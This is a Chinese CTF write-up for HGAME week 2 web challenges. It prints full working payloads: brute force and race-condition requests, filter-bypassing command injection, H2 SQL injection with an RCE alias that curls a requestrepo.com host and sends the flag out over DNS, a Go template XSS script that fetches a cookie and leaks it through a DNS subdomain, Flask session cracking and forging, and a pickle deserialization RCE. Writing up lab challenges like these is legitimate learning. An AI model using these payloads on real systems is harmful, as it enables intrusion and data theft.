Hgame题解(第二星期)

Hgame题解(第二星期)

Web

Select More Courses

打开靶机发现是一个登陆页面,根据题目提示下载弱密码字典,通过BP爆破获得用户密码为qwert123

在这里插入图片描述

登陆后进入下一个页面,由于学分已满无法选课,所以需要先进行选课扩学分申请,进入该页面提示Race against time!,需要爆破申请,与 Week 1 类似可以写python脚本进行申请,也可以使用BP的Intruder进行申请,这里采用BP

在这里插入图片描述
在经过大量申请之后网站并不会返回其他值,但是再回到选课页面时会发现学分上限提高了,也就可以自主选课了,选课很简单,选完之后就可以拿到flag

在这里插入图片描述

What the cow say?

在这里插入图片描述
这题考察的命令注入,过滤了直接的命令但是没有过滤反引号,反引号会将其包裹的内容作为命令执⾏后传回给bash

尝试ls /(左右两边要加反引号),发现能够打印根目录,并且看到了提示:flag_is_here
在这里插入图片描述
通过ls /fla""g_is_here(双引号绕过flag检测),发现下面存在文件:flag_c0w54y
在这里插入图片描述
使用ca""t /fla""g_is_here/fla""g_c0w54y即可打印出文件内容,拿到flag(通过string app.py还可以拿到网页的pyton源码)
在这里插入图片描述

search4member

题目考点:堆叠注入+ H2 database RCE漏洞

打开靶机网站发现是一个查询页面

在这里插入图片描述

下载附件,解压后在文件夹中发现Java代码(连接SQL)和数据库代码
使用?keyword=zzz%25' and 1>2 union SELECT 1,2,database();--+发现数据库名为H2(提示使用的是H2 database),该数据库有个RCE漏洞,原理是可以创建一个数据库函数 SHELLEXEC ,通过该函数可以执行命令

创建SHELLEXEC的payload:

?keyword=zzz%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+

带出flag的payload:

?keyword=zzz%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+

其中Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=解码后的意思是curl cat /flag.28zrgzsc.requestrepo.com,即拼凑域名后通过DNS带出数据,然后在DNS解析中找到对应部分的值
在这里插入图片描述

梅开二度

题目考点:Go语言的SSTI,利用XSS

分析附件源码发现程序使用的是text/template,而Go语言提供了两个模板包。一个是 text/template,另一个是html/template。text/template不对传入数据进行编码,因此该模板并不适合构建 Web 应用程序,而html/template与text/template虽然相同,但增加了HTML编码等安全保护,适用于构建web应用程序

根据提供的源代码var re = regexp.MustCompile(script|file|on),发现会过滤script、file、on
根据if len(tmplStr) > 50,说明限制payload长度小于50
根据tmplStr = html.EscapeString(tmplStr),会转义HTML字符串(也说明了可以通过tmplStr进行注入)

第一步:通过payload ?tmpl={{println 0B101101011011011110001010110}}测试是否存在SSTI,返回95272022,说明存在SSTI

第二步:通过?tmpl={{.Query Jay17}}&Jay17=<script>alert('XSS')</script>发现可以XSS

第三步:继续分析源代码,发现/bot路由用于获取url参数(前提要求url的值是本地8080端口,此处的url是参数名而不是实际的链接),/flag路由将cookie设置为flag,前提是来源为本地

思路:首先访问/bot目录,该目录提取url的值并判断是否为本地访问
(?url=http://127.0.0.1:8080)

然后在/bot这个路由下访问/flag,相当于利用/bot路由跳转了一次来满足/flag要求的本地访问(通过tmpl的JS代码实现访问),然后带出flag

初始payload模板:

/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Jay17`}}&Jay17=<script>(这里的部分是用于实现访问的js代码,访问/flag并带出cokkie值中的flag)`</script>

由于无法使用vps反向监听,但是可以利用DNS解析地址获得该值,原理是:

如果攻击者想要泄露信息 “secret”,可能会生成一个如下的DNS查询:
secret.evil.com
在这里,evil.com 是攻击者控制的域名。当这个查询被发送时,DNS解析请求会传递给攻击者的DNS服务器。然后,攻击者可以从DNS查询中提取出 “secret” 数据。

完整payload(JS部分):

async function fetchData() {
  let x; // 用于存储从网址B获取的响应数据

  try {
    // 首先访问网址A
    const responseA = await fetch('http://127.0.0.1:8080/flag');
    const dataA = await responseA.text();
    console.log('网址A访问成功', dataA); // 显示网址A的响应数据,如果需要

    // 然后访问网址B,并将响应数据赋值给变量X
    const responseB = await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');
    x = await responseB.text();
    console.log('网址B访问成功,数据已赋值给变量X');

  } catch (error) {
    console.error('访问网址时发生错误:', error);
    return; // 出错时提前退出函数
  }

  // DNS带出
  try {
    const url = "http://jay17" + x.substring(6, 46) + ".kgb7xfn7.requestrepo.com/";
    window.open(url);
    console.log('已尝试进行DNS带出:', url);
  } catch (error) {
    console.error('DNS带出过程中发生错误:', error);
  }
}

// 调用函数
fetchData();

注意点:/bot路由和执行JS代码的两次解码,无法使用document.cookie带出cookie(因为cookie被标记为了HttpOnly,不能通过JS代码访问,只能通过http访问),由于flag里面有其他符号,导致了DNS无法带出数据(因此使用字符串截取.substring()方法,截取flag中花括号内的纯字符)

myflask

题目考点:破解并仿造session + 利用pickle模块实现RCE

打开靶机网页,发现给出了源代码,其中比较关键的是网站session密钥是基于网站开启时间生成的,也就是我们如果知道了网站的启动那一时刻,就能够获得密钥并生成自己的session,然后需要让session的username的值为admin,如此就能通过pickle反序列化执行我们的攻击命令

在这里插入图片描述
第一步:获取网站启动时间,由于这是个比赛题目,所以靶机启动时间很容易就能够得到(打开靶机那个时刻),使用以下Python脚本即可获取详细启动时间

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time

# 定义字典文件路径
wordlist_path = "wordlist.txt"

# 生成包含所有可能四位数字组合的字典,每个数字前加上前缀"17"//17为具体小时,根据自己的修改
print("Generating wordlist...")
with open(wordlist_path, "w") as f:
    # 生成并写入数字组合
    for x in itertools.product('0123456789', repeat=4):
        f.write('17' + "".join(x) + "\n")

# 示例:直接使用硬编码的cookie,实际应用中可能从响应中获取
cookie_tamper = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeBLxA.lexH-lsz7VWzLJ_nNwUcGytUsf0'//替换成自己的session
print("Got cookie: " + cookie_tamper)

# 开始破解过程
print("Cracker Started...")
obj = flask_unsign.Cracker(value=cookie_tamper)

# 记录破解开始时间
before = time.time()

# 使用生成的字典文件尝试破解SECRET_KEY
with wordlist(wordlist_path, parse_lines=False) as iterator:
    obj.crack(iterator)

# 如果找到了SECRET_KEY,显示结果和用时
if obj.secret:
    secret = obj.secret.decode()
    print(f"Found SECRET_KEY {secret} in {time.time()-before} seconds")

    # 使用找到的SECRET_KEY签名一个新的session数据
    new_session_data = {"time": time.time(), "authorized": True}
    signed_cookie = flask_unsign.sign(new_session_data, secret=secret)
    print(f"Signed Cookie: {signed_cookie}")

六位数字xxxxxx代表:
xx(小时)xx(分钟)xx(秒)
在这里插入图片描述

第二步:获取session结构,使用以下Python脚本,输入靶机返回的session获得结构,即{'username': 'guest'},只要我们知道了结构和密钥,我们就能够仿造出admin的session

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    # 检查并添加必要的padding
    padding = '=' * ((4 - len(payload) % 4) % 4)
    payload += padding.encode()

    try:
        payload = b64decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of an exception: ' + str(e))
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before decoding: ' + str(e))
    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    encoded_session = "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeA6aA.wuZ6XevzyQ6X7oDKzdnrRidAToU".encode()
    print(decryption(encoded_session))

第三步:根据前面得到的{‘username’: ‘guest’}和密钥171728生成新的session,脚本代码:
from itsdangerous import URLSafeTimedSerializer

# 你的密钥和数据
secret_key = '171728'
data = {'username': 'guest'}

# 创建一个序列化器实例
serializer = URLSafeTimedSerializer(secret_key)

# 序列化数据
serialized_data = serializer.dumps(data)

print(f"Serialized session data: {serialized_data}")


在这里插入图片描述

使用以下Python生成反序列化代码,注意pickle版本一致

import pickle
import base64class A(object):def __reduce__(self):return (eval, ("__import__('os').popen('tac /flag').read()",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

然后利用post方法提交该生成代码(注意伪造session):pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu

即可得到flag

  • 22
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值